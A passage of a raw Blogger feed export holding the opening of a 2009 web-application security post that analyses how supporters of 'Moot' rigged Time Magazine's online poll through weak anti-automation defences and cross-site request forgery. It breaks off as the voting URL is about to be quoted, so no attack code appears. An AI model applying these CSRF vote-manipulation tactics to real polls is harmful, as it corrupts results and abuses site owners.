Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/3794593422569058363'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/3794593422569058363'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2009/05/http-parameter-pollution.html' title='HTTP Parameter Pollution'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_E0YEPhKPc2k/Sh6enuyiFYI/AAAAAAAAADQ/AcxlwmlE1Wk/s72-c/http_parameter_pollution.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-1594722500323693102</id><published>2009-05-13T09:58:00.020-04:00</published><updated>2009-05-20T15:36:42.947-04:00</updated><title type='text'>Lessons Learned from Time's Most Influencial Poll Abuse: Part 1</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_E0YEPhKPc2k/SgrVVSA5kRI/AAAAAAAAADI/argS5trc3pU/s1600-h/time_poll.JPG"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 400px; height: 282px;" src="http://3.bp.blogspot.com/_E0YEPhKPc2k/SgrVVSA5kRI/AAAAAAAAADI/argS5trc3pU/s400/time_poll.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5335311270163353874" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;Submitted by Ryan Barnett 5/13/2009&lt;/span&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In a text book case of web applications being abused due to &lt;a href="http://www.webappsec.org/projects/threat/classes/insufficient_antiautomation.shtml"&gt;insufficient anti-automation&lt;/a&gt; defenses, the &lt;a href="http://www.time.com/time/specials/packages/article/0,28804,1883644_1886141,00.html"&gt;Time Magazine's &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_0"&gt;Internet&lt;/span&gt; poll of the most &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_1"&gt;influential&lt;/span&gt; 100 people&lt;/a&gt; was bombarded with various methods to manipulate the results.  The &lt;a href="http://www.xiom.com/whid/2009/38/time_poll_hacking"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;WASC&lt;/span&gt; Web Hacking Incident Database&lt;/a&gt; provides a great overview of the various tactics that Moot supporters used to influence the poll results.  In this installment, we are going to focus on the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;CSRF&lt;/span&gt; attack vectors employed by &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;Moot's&lt;/span&gt; supporters.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Cross-site Request Forgery (&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;CSRF&lt;/span&gt;) attacks&lt;/span&gt;&lt;/div&gt;&lt;div&gt;The supporters of Moot did some analysis and identified a voting URL that the flash application submitted its data to -&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="color: rgb(51, 51, 51);   line-height: 16px; font-family:Verdana;font-size:12px;"&gt;&lt;pre style="text-align: center;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;http://www.tim
